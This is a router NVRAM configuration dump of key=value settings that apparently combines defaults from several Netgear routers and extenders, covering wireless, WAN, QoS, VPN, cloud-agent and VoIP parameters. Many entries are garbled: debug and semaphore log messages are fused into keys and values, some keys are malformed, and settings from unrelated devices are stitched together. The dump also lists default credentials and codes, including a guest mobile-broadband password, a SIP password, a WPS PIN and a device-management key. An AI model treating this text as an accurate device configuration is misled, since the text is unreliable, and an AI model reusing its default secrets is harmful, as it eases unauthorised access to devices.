wl17_wep=disabled
first_brs_lang=English
wl64_wep=disabled
tmp_wla_repeater=0
wl222_auth_mode=none
auto_enable=1
wl116_wep=disabled
wl170_auth_mode=none
wl82_wep=disabled
wl21_wep=disabled
wl65_auth_mode=none
wl192_auth_mode=none
wla_allow_access_2=0
wl230_wep=disabled
wl1_txbf_bfe_cap=1
wl188_auth_mode=none
wl136_auth_mode=none
loaddefault_VerStamp=V1.0.0.26
password_question2=0
ipv6rd_wan_mtu=1480
tivo_enable=1
wl183_wep=disabled
show_web_title=1
video_qos_equal_method=0
wl110_auth_mode=none
wl164_wep=disabled
ddns_netgear_confirmpasswd=2
wl130_wep=disabled
wl254_auth_mode=none
wl114_wep=disabled
wl189_auth_mode=none
lan_dhcpsv6_pref=255
wl0_obss_coex=1
wl194_wep=disabled
internal_antenna=0
wl0_txbf_bfr_cap=1
usb_file_system=ntfs
wl124_wep=disabled
wl191_auth_mode=none
ipv6_enable=0
leafp2p_sys_prefix=/opt/remote
wl159_auth_mode=none
wl90_wep=disabled
wl_reg_mode=off
wlg_wds_enable=0
wl147_auth_mode=none
wl84_auth_mode=none
wl105_auth_mode=none
openvpn_route_delay=5
tmp_lan_proto=null
wlg_secu_type=None
wl163_wep=disabled
wl1_auth_mode=none
lan_hwaddr=00:FF:FF:FF:FF:FF
wl129_wep=disabled
mevent_ifnames=eth1 eth2 wl0.1 wl1.1
lan_wps_oob=enabled
wl207_wep=disabled
wl54_auth_mode=none
wl_nreqd=0
rcagent_log_level=debug
wl250_auth_mode=none
wl55_auth_mode=none
tmp_rip_enable=null
wl_nmcsidx=-1
wl37_wep=disabled
wl_txq_thresh=1024
wl33_auth_mode=none
wl240_wep=disabled
wan2_gateway=0.0.0.0
wl48_wep=disabled
wl76_wep=disabled
RA_AdvAutonomous=on
ipv6_6to4_tunnel=down
wl_wds_timeout=1
wlg_wds_pmp_sta=1
wl39_auth_mode=none
wl163_auth_mode=none
wl_rateset=12
wl195_wep=disabled
wl_txchain=7
wl115_auth_mode=none
wl72_auth_mode=none
wl101_wep=disabled
wl95_auth_mode=none
wan_dns=0.0.0.0
wl54_wep=disabled
wl63_wep=disabled
video_qos_per_tolerance=50
l2tp_user_ip=...
wl4_wep=disabled
wl131_wep=disabled
wl_auth_mode=none
wl226_wep=disabled
wl63_auth_mode=none
pppoe2_bs_enable=0
wl85_wep=disabled
wl45_wep=disabled
wps_method_cgi=pbc
wl67_auth_mode=none
enable_other_mode=0
pppoe2_localip=0.0.0.0
pppoe2_ifname=ppp1
tmp_wlg_wds_enable=0
wlg_channel=44
wl205_wep=disabled
wl_bw_cap=1
RA_AdvPreferredLifetime=1800
wl_afterburner=off
need_to_load_wireless=0
wl228_auth_mode=none
iserver_enable=0
upgrage_to_4_30=1
wl100_auth_mode=none
wl103_wep=disabled
wlg_onoff=Disable
pppoe2_east_username=guest@flets
wl45_auth_mode=none
wl155_auth_mode=none
qos_bw_set_sel=1
wl_nmode=-1
wl149_wep=disabled
wl126_auth_mode=none
wl_rts=2347
wl245_auth_mode=none
wl120_wep=disabled
wl_txstreams=0
wl172_auth_mode=none
qos_xbox_detected_down=0
wl5_wep=disabled
wl_wme_ap_bk=15 1023 7 0 0 off off
show_firmware_info=0
run_mld=0
wifi_on_off=1
wl144_auth_mode=none
iptv_interfaces=0x00
wl161_auth_mode=none
wl92_auth_mode=none
wl23_wep=disabled
lan_ipv6_link_local_addr_short=fe80::5054:ff:fe12:3457
enable_ap_mode=0
wl108_wep=disabled
ddns_server=4
wl14_wep=disabled
as_genie=0
wl_net_reauth=36000
wla_en_secu_type=WPA-AUTO
wl36_wep=disabled
wl197_wep=disabled
wl_dtim=2
RA_AdvLinkMTU=1800
wl167_auth_mode=none
wl3_wep=disabled
wl174_wep=disabled
wl4_auth_mode=none
wl195_auth_mode=none
hd_idle_period=1800
wl218_auth_mode=none
wl135_wep=disabled
wla_wlanstatenvram_get_buf:=0.0.0.0
wl_wme_no_ack=off
RA_AdvCurHopLimit=64
active_user_setup=1
ap_mode_lan_disable=0
wl67_wep=disabled
wl91_auth_mode=none
pppoe_tmp_localip=0.0.0.0
wl0_wep=disabled
wlg_allow_see_access_2=0
wl_wme_sta_be=15 1023 3 0 0 off off
leafp2p_rescan_devices=1
wl170_wep=disabled
wl181_wep=disabled
wl239_wep=disabled
wps_lock_forever_cnt=3
wl65_wep=disabled
video_qos_delta_bwl_pickup_min=25
wl_nmode_protection=auto
wl58_auth_mode=none
rip_dir=1
wl191_wep=disabled
wl0_txbf_bfe_cap=1
pppoe2_schedule_enable=0
pppoe_localnetmask=...
wl2_wep=disabled
wl1_psr_mrpt=0
wl_bcn=100
wl27_auth_mode=none
wl71_wep=disabled
wlg_wlanstate=Enable
video_qos_avgQ_size=5
qos_xbox_detected_up=0
wlg_wds_ptp_sta=1
wl113_wep=disabled
wl25_auth_mode=none
wl225_wep=disabled
wl26_wep=disabled
wl10_wep=disabled
pppoe_flet_keyword=flets
wl118_auth_mode=none
wl201_wep=disabled
wl71_auth_mode=none
bsd_enable=1
x_handler_1003=/opt/xagent/genie_handler
wl159_wep=disabled
qos_db_ver=0
wl240_auth_mode=none
telnetd_enable=0
wl_wmf_bss_enable=0
wl142_wep=disabled
wl176_wep=disabled
wl223_wep=disabled
wl15_wep=disabled
wl186_wep=disabled
wl35_wep=disabled
wl176_auth_mode=none
l2tp_idle_time=5
ddns_netgear_haveaccount=0
video_qos_bwh_min=250
tmp_wlg_wlanstate=Enable
wl121_auth_mode=none
wl25_wep=disabled
wl132_wep=disabled
leafp2p_replication_hook_url=https://readyshare.netgear.com/device/hook
wl204_auth_mode=none
0=smtp_port
wl115_wep=disabled
wl198_wep=disabled
wl182_wep=disabled
wl112_wep=disabled
wl136_wep=disabled
wl255_wep=disabled
wl_ampdu=auto
wl24_auth_mode=none
wl29_auth_mode=none
wl_rifs_advert=auto
video_qos_win_bwstable=5
wl_wme_sta_bk=15 1023 7 0 0 off off
wl0_auth_mode=none
wlg_broadcast=ssid_5G_bc
wifi_test=1
wl222_wep=disabled
wl250_wep=disabled
wl139_auth_mode=none
wl1_assoc_retry_max=20
pppoe2_demand=0
RA_AdvReachableTime=0
l2tp_localip=0.0.0.0
autoBlock=0
wl_infra=1
wl55_wep=disabled
wl51_auth_mode=none
wl87_wep=disabled
dlna_enable=1
wl3_auth_mode=none
wl12_wep=disabled
wl32_auth_mode=none
wl_rxstreams=0
wl119_wep=disabled
wl93_auth_mode=none
openvpnActive=disable
wl225_auth_mode=none
wl178_wep=disabled
wl202_wep=disabled
wlg_temp_channel=36
video_qos_predrop_period=15
wl0_stbc_tx=auto
auto_ip_backup=0
wl190_auth_mode=none
ipv6_6to4_relay=0
dmz_ipaddr=192.168.1.0
wl81_auth_mode=none
leafp2p_run=0
wl192_wep=disabled
vlan_lan_id=1
pr_wiz_is_from_default=1
l2tp_redial=30
3g_radio_status=1
cpe_DeviceSummary=InternetGatewayDevice:1.0[](Baseline:1)
atmf5diagnostics7_state=None
wireless_test=1
syslog_statusnvram_get_buf:=0
wlan_acl_numnvram_get_buf:=192.168.0.1
atmf5diagnostics3_state=None
device_mode=0
atmf5diagnostics6_state=None
pppoe_relay_enable=0
value_change=30
wps_proc_statusnvram_get_buf:=5
startvpn=0
is_defaultnvram_get_buf:=255.255.255.0
reset_test=1
atmf5diagnostics4_state=None
wla_temp_passphrasenvram_get_buf:=0
ntp_is_syncednvram_match=: 0
atmf5diagnostics5_state=None
atmf5diagnostics0_state=None
atmf5_NOrepetitions=2
wan0_isbridge=0
wla_temp_settingnvram_get_buf:=0
usb_info_dev61nvram_get_buf:=0.0.0.0
qos_bw_max_0nvram_get_buf:=5
wan0_mtu=1500
atmf5diagnostics1_state=None
truenvram_get_buf:=0
cpe_model_name=DGN2200M
atmf5_timeout=10
wla_keyBitnvram_get_buf:=0
atmf5diagnostics2_state=None
media_server_scan_time=60
tm_mail_freq=monthly
alarm_type=None
iptv_br_wlan1_5g=0
wifi_dot11_iso13=0
wifi_dot11_iso12=0
miiicasa_domainname=yun.netgear.cn
led_enable=1
hsdpa_apn=3gnet
macblock_enable=0
miiicasa_brand=NETGEAR
miiicasa_wanport=80
old_miiicasa_wanport=80
tm_mail_type=0
block_state=1
wifi_dot11_iso14=0
miiicasa_model=R6220-PR
alarm_enable=0
miii_timeout=300
wifi_super_wifi_enable1=0
wifi_disable_edcca=1
ip6_custom_6to4router=0
wmm_enable_24G=1
apple_timemachine_on=0
apple_ip_addr=0.0.0.0
vlan_enable=0
fb_enable=0
dod_disable=0
apply_in_schedule=0
intranet_ifname_org=eth3
openvpn_enable=0
apply_in_wireless=0
log_usb=1
wps_pin_enable=1
ipv6_feature_off=1
ip6_mode=disable
log_3g=1
ip6_lan_mode=0
RADIUS_Server=0
vlan_tag_group=1:1:Internet:10:0:111111111:2:Intranet:11:0:11111111
intranet_ifname=eth3
ip6_ifid_enable=0
wan_l2_ifname=eth3
wmm_enable_5G=1
E2pAccessMode=2
wifi_btn_on=1
fb_url_ext=/fbwifi/forward
log_vpn=1
wan_l2_ifname_org=eth3
openvpn_port=12974
wps_pin_max_failed_cnt=3
fb_guest_only=1
openvpn_type=0
wps_pin_auto_lockdown=1
fb_port=5001
wifi_powerpercent1=100
wifi_powerpercent=100
wifi_def_key11=1
enable_app_system=1
fasttrack_priority=50%
wwan_cid=0
wwan_dodo_dns1=202.136.43.197
dpsta_lan_uif=0
telnet_on=0
foked-daapd_running=0
wwan_wan_tmp_type=2
max_upload_speed=10
wwan_usbtype=0
openvpn_tun_ipaddr=192.168.254.1
wwan_debug=0
acs_no_restrict_align=0
openvpn_protocol_tun=udp
wwan_failover_ping_ip=0.0.0.0
down_save_path=U:\
downloader_enabled=0
wwan_error_restart=0
wps_fasttrack_button_status=0
wwan_max_detect_time=120
bridge_http_hijack=1
wwan_failover_host_name=www.netgear.com
wwan_wan_type=1
guest_manage_show=0
port_assign_method=auto
sku_lang=English
arp_enable=disable
wwan_pin2_enable=0
voice_mail_waiting=0
wireless_restart=1
gbsd_threshold=-80
fasttrack_macaddr=00:00:00:00:00:00
wla_tpc_mode=1
wwan_wan_name=ADSL
debug_capture_lan_wan_packets=0
wwan_transition=1
wwan_mode=HSDPA
dpsta_policy=0
gbsd_open_timeout=13
qos_fasttrack_enable=0
wlg_tpc_mode=1
gbsd_n_diff=3
max_concurrent_tasks=5
wan0_ifname=eth0
enable_smart_mesh=0
wwan_lock_enable=0
openvpn_service_port_tun=12973
wwan_mtu=1492
downloader_choose_type=1
wwan_isp_setting=0
wwan_failover_index=0
openvpn_tun_netmask=255.255.255.0
wwan_auto_conn=1
wan1_hwaddr1=00:FF:FF:FF:FF:FF
wwan_dodo_dns2=202.136.42.229
wwan_failover_count=3
wwan_max_dns_error=5
wwan_dhcp_enable=0
wan1_hwaddr_sel=0
wwan_3g_on_always=1
pre_lan_ipaddr=10.10.10.254
usb_mount=1
max_download_speed=0
wwan_failover_retry_interval=30
wwan_soft_reset=0
dsl_enable=0
usb_wan_http_protect_enable=1
wwan_attach_waiting_time=0
debug_httpd_log=1
enable_extender_mode=0
wwan_pdp_type=0
wwan_dsl_enable=0
wwan_3g_only=0
guest_manage_name=guest
quick_qos_rule=0
quick_qos_mode=0
wwan_puk2_enable=0
quick_qos_service_normal=block_ser_setup_ftp@qos_apps_smtp@qos_apps_www@qos_apps_dns@qos_apps_icmp
ntp_is_synced:=0
enable_guest_manage=0
gbsd_5g_rssi_threshold=-70
usb_wan_ftp_protect_enable=1
wwan_puk_enable=0
wwan_max_soft_reset=5
usb_detect=0
quick_qos_service_highest=qos_ipphone@qos_skype@qos_eva@qos_vonage@qos_google
voice_sender_id=44601
l2tp_passthrough=1
wwan_reconn=1
wwan_usb_detect=0
fw_email_send_download_result=0
wwan_usb_reset=0
quick_qos_service_low=qos_apps_emule@qos_apps_kazaa@qos_apps_gnutella@qos_apps_bt
download_auto_refresh=0
bs_temp_rules_number=0
download_refresh_rate=3
wwan_lock_ntwk=0
pptp_passthrough=1
wwan_failover_enable_hw_detect=1
wps_pbc_apsta=enabled
bt_location_type=0
down_file_exist=0
wan_hwaddr2=00:FF:FF:FF:FF:FF
voice_sender_id2=44614
wwan_country_setting=0
pre_lan_netmask=255.255.255.0
wwan_auto_roaming=1
wwan_ppp_max_unsuccess=10
gbsd_wait_5g_rssi_timeout=7
ipsec_passthrough=1
wwan_conn_manual=0
wwan_password=guest
wwan_dbgLvl=1
wwan_failover_hw_time=30
no_hsdpa=1
wwan_failover_resume=30
wwan_user_name=guest
usb_feature=0
wwan_ppp_unsuccess=0
debug_httpd_auto_bring_up=0
ver_check_ftp_svr1nvram_get_buf:=5
vpn_update=1
nvram_get_buf:=0.0.0.0
wps_unconfig_addenr=1
lan2_ifnamesnvram_get_buf:=5
wps_randomkey=abCI7zpcDbQ1GJ93rnO1B6SOHVToVU7oJzN6TTPSoef6je099zkHgB3
wan_bpa_minheartbeatnvram_get_buf:=0
ParentalControlnvram_get_buf:=255.255.255.0
falsepppoe_ifname=ppp0
nvram_get_bufwps_device_pin=12345670
wps_mixedmode=2
fw_email_email_smtpnvram_get_buf:=5
wla_key3nvram_get_buf:=5
syslog_optionnvram_get_buf:=5
pppoe2_schedule_confignvram_match:=true127:0:0:23:59
wps_pin_disable=0
wlan_acl_mac44nvram_get_buf:=255.255.255.0
usb_info_dev91nvram_get_buf:=0.0.0.0
wps_randomssid=NTGR_jTPcSNByEaA94akslRR
usb_info_dev50nvram_get_buf:=5
wps_autoenr=1
wifi_mumimo=0
wan_wanAcType4=DSL
wifi_implicit_txbf1=1
rt_rip_version3=0
log_inet_auto_reset=1
wifi_implicit_txbf=1
rt_rip_version7=0
log_wlan_sche_onoff=1
default_wan=1
wan_wanAcType6=DSL
wan_wanAcType7=DSL
wifi_aggregate_frames1=64
tags=,,,
wifi_ldpc1=1
apcli_wan_dns_mode=dynamic
enable_wizard_log=0
wifi_txbf1=1
wifi_sgi1=1
wan_wanAcType8=DSL
dbg_storage_location=0
vlan_bridge_enable=0
autoupg_fileinfo_in_nv=fileinfo.txt
wifi_aggregate=1
wan_wanAcType2=Ethernet
vlan_untag_group=1:0:Bridge:0:0:00000000
rt_rip_version5=0
ftp_server_pwd_enable=0
wifi_mumimo1=0
wifi_sgi=1
wan_vlan_id=10
ftp_server_wan_pwd_enable=1
openvpn_tun_port=12973
openvpn_tap_port=12974
wan_wanAcType5=DSL
wifi_airtimefairness=0
enable_recovery=0
http_server_wan_pwd_enable=1
wifi_aggregate1=1
rt_rip_version2=0
wan_preference=eth
wifi_tx_stbc=1
wifi_txbf=1
openvpn_tap_protocol=udp
lan_bridge_enable=0
wifi_ldpc=1
openvpn_tun_protocol=udp
apcli_wan_mode=dhcp
wan_wanAcType3=DSL
wan_vlan_enable=0
rt_rip_version4=0
http_server_pwd_enable=0
wifi_aggregate_frames=64
smb_server_pwd_enable=0
ip6_custom_6rd=1
rt_rip_version6=0
led_ctrl_opt=blink
wan_enable=1
rt_rip_version8=0
wan_traffic_type=atm
wifi_airtimefairness1=0
wifi_tx_stbc1=1
wifi_schedule_on1=0
readycloud_need_persist=1
PMFMFPR=0
boost_mode=auto
rcagent_log_to_file=1
CalCacheApply=0
readycloud_hook_url=https://readycloud.netgear.com/device/hook
IcapMode=0
DfsZeroWait=0
readycloud_upload_url=https://readycloud.netgear.com/directio
remote_path=/opt/remote
DfsZeroWaitCacTime=255
PMFMFPC=0
rcagent_path=/opt/rcagent
DfsEnable=0
PERCENTAGEenable=0
VOW_Airtime_Fairness_En=1
readycloud_use_lantry=1
genie_remote_need_persist=1
readydrop_path=/opt/readydrop
PMFSHA256=0
CP_SUPPORT=2
rcagent_log_to_console=0
readycloud_fetch_url=https://readycloud.netgear.com/device/entry
EthConvertMode=dongle
readycloud_control_path=/opt/rcagent/scripts
BFBACKOFFenable=0
RED_Enable=1
SKUenable=0
genie_soap_port=80
G_BAND_256QAM=1
leafp2p_path=/opt/leafp2p
leafp2p_peer_route_type=1
wan_wanAcType=Ethernet
MACRepeaterOuiMode=2
readycloud_actiontype=0
wl_acs_fcs_mode=0
wl_intfer_tcptxfail=5
lang_check_https_svr=http.fw.updates1.netgear.com
smtp_port=25
wl1_rxchain=7
sem_getnvram_get_buf:=nvram_get_buf: Key: 411000f7falsenvram_get_buf: dhcp
nvram_setnvram_get_buf:=:
wl_pspretend_retry_limit=0
wl_acs_tx_idle_cnt=5
cur_access_ip_type=4
wl_acs_ci_scan_timer=4
wl_txbf_bfr_cap=0
acs_2g_ch_no_restrict=1
wl_acs_scan_entry_expire=3600
wl_acs_dfsr_deferred=604800 5
nvram_get_bufwl0_wps_config_state:=0ipv6_proto (:
wl_acs_dfs=0
ver_check_https_svr1=http.fw.updates1.netgear.com
wl_dwds=0
wl_dcs_csa_unicast=0
ver_check_http_svr1=http.fw.updates1.netgear.com
wl1_txchain=7
wl0_rxchain=3
wl_intfer_period=1
wla_wps_tmp_lock_flag=0
wl1_nar=0
nvram_get_bufnvram_get_bufnvram_get_bufsem_getnvram_get_buf:=wlg_wlanstate: Key: 411000f7dhcp
wl_acs_dfsr_immediate=300 3
wl_nar=0
nvram_get_bufnvram_get_buf=nvram_get_bufwl0_wps_config_state: Unable to open key: 0
wl_acs_cs_scan_timer=900
wl_acs_ci_scan_timeout=300
active_fbwifi=0
wl_txbf_bfe_cap=0
wl0_nar=0
wl_intfer_txfail=16
wl_acs_chan_dwell_time=70
cmd=159: No such device
wl0_txchain=3
falsenvram_get_buf:=0
region_num=0xFFFF
qos_bw_tmp_downlink=0
wl_acs_chan_flop_period=30
wl_pspretend_threshold=0
wl_acs_dfsr_activity=30 10240
nvram_matchnvram_get_bufnvram_get_buf:=nvram_get_buf: wla_wlanstatesku_name
cur_access_user_ip=192.168.1.2
qos_bw_downlink=512000
txworkq=1
mtd9_lang_version=nvram_get_buf: http_rmenable
wl_intfer_cnt=3
false:=0
mydetc_wan_lan_conflict=0
log_filternvram_get_buf:=enabled
https_upgrade_proto=https
upnp_turn_onnvram_get_buf:=nvram_matchnvram_get_buf
RAE_readyshareParameter=1440
RAE_connectedDeviceParameter=1440
RAE_PolicyVersion=V0.01
tc_ra_enable_2=No
RAE_routerConfigParameter=1440
RAE_memThresholdHigh=90
RAE_reportMethod=IoT
tc_new_purchase=0
RAE_wifiParameter=360
aws_iot_mqtt_client_id=R6800
RAE_routerInfoParameter=1440
tivo_disable=0
RAE_dailyUpdateMethod=1
RAE_cpuThresholdHigh=90
tc_auto_update_enable_2=No
RAE_updaterInternal=360
opmode=router
RAE_memThresholdDuration=60
RAE_trafficMeter=1440
use_openvpn_mtd_file=0
old_opmode=router
aws_iot_root_ca_filename=root-CA.crt
RAE_stage=beta
RAE_cpuThresholdDuration=60
RAE_mediadeviceParameter=1440
6c_wan_down_killgw=1
fbwifi_gwid=0
enable_ap_modenvram_get_buf:=0
qos_bw_uplink_ookla=0
debug_hidden_page_in_process=0
wlh_temp_channel=36
WifiSchedule_5G_2_RadioDown=0
wlh_wlanstate=Enable
ipv6ready_ce=1
wlh_ssid=NETGEAR-5G-2
ipv6_support_solmaxrt=1
wlh_temp_band=5G
wl2_txbf_bfr_cap=1
wl2_assoc_retry_max=20
wlh_wds_ptp_sta=1
qos_bw_downlink_manual=0
wlh_defaKey_2=0
ra_reboot_flags=1
wlh_wep_length=0
dual_5g_band=1
check_fw_end_time=Sun Jan  4 03:42:00 2015
circle_reset_default=1
restart_httpd=0
wlh_temp_mode=300Mbps
wl2_wps_config_state=0
wlh_ap_isolate=0
wlh_ssid_bc_2=1
ipv6_forward_by_ipgw=1
circle_download_server=http://http.updates1.netgear.com/sw-apps/parental-control/circle/r7000p/
wlh_band=2.4G
tmp_wlh_repeater=0
wlh_wep_length_2=0
auto_update_enable=0
led_gpio_status=0
RA_region_check=0
AWS_JSON_DBGP=0
RA_install_config=0
wlh_wpa_gtk_rekey=3600
wlh_wds_pmp_sta=1
wlh_rts=2347
router_TC_enable=0
circle_start_once=0
openvpncrt_sha256=0
wlh_secu_type=None
wlh_defaKey=0
wlh_allow_access_2=0
wlh_temp_secu_type=None
broadstream_iqos_enable=0
wlh_broadcast=ssid_5G_bc
check_fw_start_time=Thu Jan  1 00:00:10 2015
wlh_mode=HT80
fbwifi_config=0
wlh_temp_defaKey=0
wlh_en_secu_type=WPA-AUTO
wl2_radarthrs=1 0x6ac 0x6dc 0x6bc 0x6ec 0x6ac 0x6dc 0x6bc 0x6ec
wlh_wds_enable=0
gbsd_wait_rssi_intf_idx=1
send_JSON_period=300
RA_enable=0
acs_2g_ch_excl=1 11
wl2_stbc_tx=auto
wl2_txbf_bfe_cap=1
enable_fbwifi=0
qos_bw_uplink_manual=0
tmp_wlh_wds_enable=0
wlh_secu_type_2=None
passwordrecovered_debug:=0
wlh_temp_broadcast=ssid_5G_bc
enable_circle_control=0
wlh_channel=136
qos_manual=0
ipv6ready_code5_rule=1
wlh_temp_ssid=NETGEAR-5G-2
wlh_auth_type=automatic
ipv6spi_off=0
wlh_onoff=Disable
wlh_wds_mode=1
wlh_frag=2346
RA_useroption_report=0
wl_wme_5g_2=1
blank_download_readyshare=1
qos_bw_downlink_ookla=0
wlh_auth_type_2=automatic
blank_download_desktop=1
wlh_sec_profile_enable_2=0
wl_5g_bandsteering=0
wlh_txbf=1
wlh_wmm_advert_2=1
wlh_radius_ip=0.0.0.0
wlh_repeater=0
wlh_allow_see_access_2=0
wl2_stbc_rx=1
wlh_preamble=long
ipv6ready_ce_wide6c=1
wl2_ifname=eth3
wlh_radius_port=1812
wl0_ifname=ra0
wlh_ssid_2=NETGEAR-5G-2-Guest
ver_check_ftp_path=sw-apps/router-analytics
circle_download_server1=https://http.fw.updates1.netgear.com/sw-apps/parental-control/circle/r6400v2/
reset_product_name=0
dap_bind_anyaddr=0
dap_disable=0
RA_stage=prod
dy_ed_thresh=1
et_reboot_times=0
video_qos_debug=0
genie_admin_password=0
dap_init_check_delay=300
http_rmenable:=...
ra_test_init_report_time=0
weather_band_enable=1
dap_wait=6
wla_temp_ap_isolate=0
wl_channel=0
pppoe_ip_sel=0
wl_nbw_cap=2
wl_nctrlsb=none
wan_proto:=0
lan_wps_reg=enabled
wla_temp_temp_broadcast=ssid_bc
pppoe_user_ip=...
enable_sta_modenvram_get_buf:=0
enable_sta_mode:=255.255.255.0
lanip_changed:=dhcp
pktc_enable=1
wps_aplockdownnvram_get_buf:=192.168.1.1
wl1_obss_coex=0
wl1_gmode=GMODE_AUTO
wl0_mcast_regen_bss_enable=1
wl1_gmode_protection=auto
qos_netflix_rule_count=0
RA_AdvValidLifetime_from_IAPD=2400
qos_netflix_rule_index=0
traffic_warning_state:=10.0.0.138
RA_AdvPreferredLifetime_from_IAPD=1800
wl0_gmode=1
wl1_mcast_regen_bss_enable=1
wl0_gmode_protection=auto
_mcast_regen_bss_enable=1
wsc_pin_disable:=1
ping_pass=1
wl0_wps_config_statenvram_get_buf:=192.168.1.1
true:=0
lacp_gui_debug=0
lacp_multigroup=0
wl1_vht_features=4
portTrunkingMode=dynamic
lacp=1
lacpmode=1
fast_restart=1
wl2_vht_features=4
0:deadman_to=5000000
ipv6_lan_length=64
1:deadman_to=5000000
lacpdev=vlan1
2:deadman_to=5000000
lacpdebug=0
ipv6_wan_length=64
tri_band_hw_ver=R8500
wl0_vht_features=7
dual_band_hw_ver=R7800
lacpports=1 2
lan1_ifname=br1
telnetd_enable:=eth0
pptp_user_ipnvram_set:=0
wl2_wps_mode=disabled
wsc_pin_disablenvram_get_buf:=sem_get: Key: 5 (0) ?
20nvram_get_bufntp_is_synced=sem_get max_concurrent_tasks: wl2_ifname
wl0_wps_config_state:=[Bonjour] Can not open "/proc/printer_status
wl1_wps_mode=enabled
wlg_preset_passphrase=sem_get: Waiting for semaphore timeout (Key: 411000c0, Semaphore: 8001)...
enable_mu_mimo=0
gbsd_rssi_timeout=30
SC_ACCT_1_SIP_SESSION_TIMER=1800
SC_SYS_CFG_MAX_CALL_PER_ACCT=2
SC_ACCT_1_MEDIA_4TH_CODEC=3
TR_DRMD_ENABLE=0
use_mark=0
SYSLOGD_DISPLAY_LEVEL=7
SC_ACCT_1_SIP_PASSWORD=1000
M2UEnabled=0
LAN_PREFIX6_L=1
SC_ACCT_1_MEDIA_1ST_CODEC=1
SC_LINE_1_LEC=3
wlg_obss_coex=0
SC_LINE_1_CALLER_ID_PWR=0
WAN_GRE_TLAYER=0
TR_DL_CFG_TYPE=1
wlg_temp_auth_type=automatic
wl_rpt_wlanstate2=Disable
AccessPolicy5=0
TR_SESSION_MAX_RPC=3000
SC_ACCT_1_ADV_HOTLINE_TARGET=8888
SC_ACCT_1_SIP_SESSION_MIN_EXP=90
SC_SYS_SIP_PRIORITY_NON_URGENT_NUMS=6000,7000
SC_ACCT_1_SIP_SEP_REG_ADDR=0.0.0.0
SC_FTR_2ND_HF_AND_DIGIT=1,*1#,*2#
SC_FTR_CONF_DELETE_STR=#41#
SC_ACCT_1_MEDIA_RTP_DETECT=0
SC_FTR_UNATTENDED_TRANSFER_STR=*6
TR_DL_WEB_SCRIPT=/sbin/tr_cert_update.sh
TR_CR_QOP=auth
TR_DL_FW=0
ap_mode_cur=2
DM_POLLING_REPTION=-1
SC_ACCT_1_SIP_INFO_ENABLE=0
WAN_GATEWAY=0.0.0.0
DM_INTERVAL=3600
SC_ACCT_1_ADV_ALL_CF=0
SC_ACCT_1_MEDIA_9TH_CODEC=3
SC_SYS_FEATURE_DVCC_ACTION=1
DM_BA_SKEY=badrmd
MGMT_SSH_WAN=1
DM_ACC_AUTH_PREF=MD5
wla_temp_auth_type=automatic
SC_SYS_VOICE_JB_LEN=120
SC_ACCT_1_SIP_AUTHNAME=1000
TR_SN_TYPE=0
SC_MEDIA_CODEC_G726_16_PT=96
SC_FTR_RELEASE_AND_ACCEPT_STR=*1#
slic_int=10
SYSLOGD_REMOTE_PORT=514
SC_FTR_5TH_HF_AND_DIGIT=4,*7#
WscAutoSetupLockEnable=1
SC_ACCT_1_ADV_HOTLINE=0
SC_ACCT_1_ADV_CALL_WAITING=0
DM_CLIENT_AUTH=MD5
TR_DEBUG=0
VHT_LDPC=1
SC_ACCT_1_ADV_HOLD_TYPE=2
DM_FUMO_PAUSE_TIME=30
rootap_linkratenvram_get_buf:=0.0.0.0
SC_SYS_AUTO_RECONNECT=1
SC_ACCT_1_SIP_OUTBOUND_ADDR=0.0.0.0
TR_OUI=000CE7
AccessPolicy4=0
SC_ACCT_1_NAT_SRV_ADDR=0.0.0.0
DM_DRMD_ENABLE=0
ap_mode=1
TR_BOOTSTRAP=1
DM_ACC_CLT_NODENAME=clientAuth
SC_ACCT_1_TIMER_RINGING=180
WscModelName=EX6120
SC_ACCT_1_ADV_DND=0
DM_IN_REPLACE=0
SC_ACCT_1_SIP_SEP_REG_PORT=5060
product_description=AC1200 Wifi Range Extender EX6120
router_link_led=0
WscModelNumber=EX6120
DM_DRMD_DURATION=5
SC_EMERG_TIMER_WMX_CONNECT=60
SC_SF_IS_ENCRYPT=0
psr_mac_prefix=00:0f:b5:00:00:00
SC_ACCT_1_SIP_PRI_OTHER=UrgencyUsePriority
SC_ACCT_1_SIP_MWI=0
SC_ACCT_1_SIP_P2P_CALL=0
SC_FTR_TRIGGER_BY=0
SC_ACCT_1_ADV_RINGING_TIMEOUT_RESP_CODE=408
TR_M_UL_QUEUE=2
MGMT_AUTOREBOOT_TIME=0
success_url=http://www.netgear.com/success/ex3700-en.aspx
wl_same_sec=0
SC_ACCT_1_SIP_PRI_REG_PORT=5060
WAN_PPP_CIPHER=0
wire_mode=0
SC_LINE_1_CALLER_ID_DISP=1
USBHOST_MAC=00:00:00:00:00:00
sta_list1=0
DM_MODEL=WiMAX_EVB
SC_ACCT_1_SIP_LOCAL_PORT=5060
wl_rpt_broadcast1=Enable
SC_ACCT_1_ADV_CFNA=0
SC_ACCT_1_SIP_DOMAIN=wimax
SC_ACCT_1_SIP_SEC_PROXY_ADDR=0.0.0.0
DM_BOOTSTRAP_SML_ENC=WBXML
SC_MEDIA_CODEC_SINGLE_CODEC=1
SC_AUTO_PROV_FTP_RETRY=3
SC_SF_CS_DST_IP=1
DM_NODENAME=MTK
MACRepeaterEn=0
eth_bind_band=5G
SC_LINE_1_VAD=0
MGMT_AUTOREBOOT_ENABLE=0
link_status2=0
DM_APPADDR_NODENAME=MTKAddr
DM_ENABLE=0
need_set_region=1
SC_ACCT_1_MEDIA_8TH_CODEC=3
DM_SMS_SERVICE=10654040
wl1_hwaddr=00:00:00:00:64:D2
SC_ACCT_1_STATS_MO_ANSED=0
PhysWanIfList=ccmni0,ccmni1,ccmni2,lte0
TR_ENABLE=0
psr_alias_oui_3=02:18:4D:00:00:00
WAN_PPP_STATUS=Disconnected
WAN_BRIDGING_LAN_ARP=0
SC_ACCT_1_MEDIA_2ND_CODEC=8
SC_FTR_HOLD_AND_ACCEPT_STR=*3#
DM_BOOTSTRAP_UDP=0
WAN_PPP_DNSOVERWRITE=0
TR_IGNORE_FAULT_TYPE=0
SC_SF_CS_SRC_PORT=1
AccessPolicy9=0
wps_friendly_name=EX6120
rc_wait_seconds=0
TR_UL_STATUS=0
WAN_PPP_AUTH=15
SC_MEDIA_CODEC_ILBC_PTIME=30
AccessPolicy12=0
DM_FUMO_UNCOMPLETE=0
WscV2Support=1
LAN_MASK=255.255.255.0
pcm_ver=6
TR_DRMD_REPETION=1
sta_band=both
SC_FTR_RELEASE_HOLD_STR=*8#
HW_VER=MTK
wps_success_mode_2=0
wl_rpt_broadcast2=Enable
TR_SOAP_FAULT_HTTP=0
LAN_IP6=fc00::1
SC_LINE_1_VOGAIN_TX_LV=0
SC_ACCT_1_ADV_CALL_CONF=2
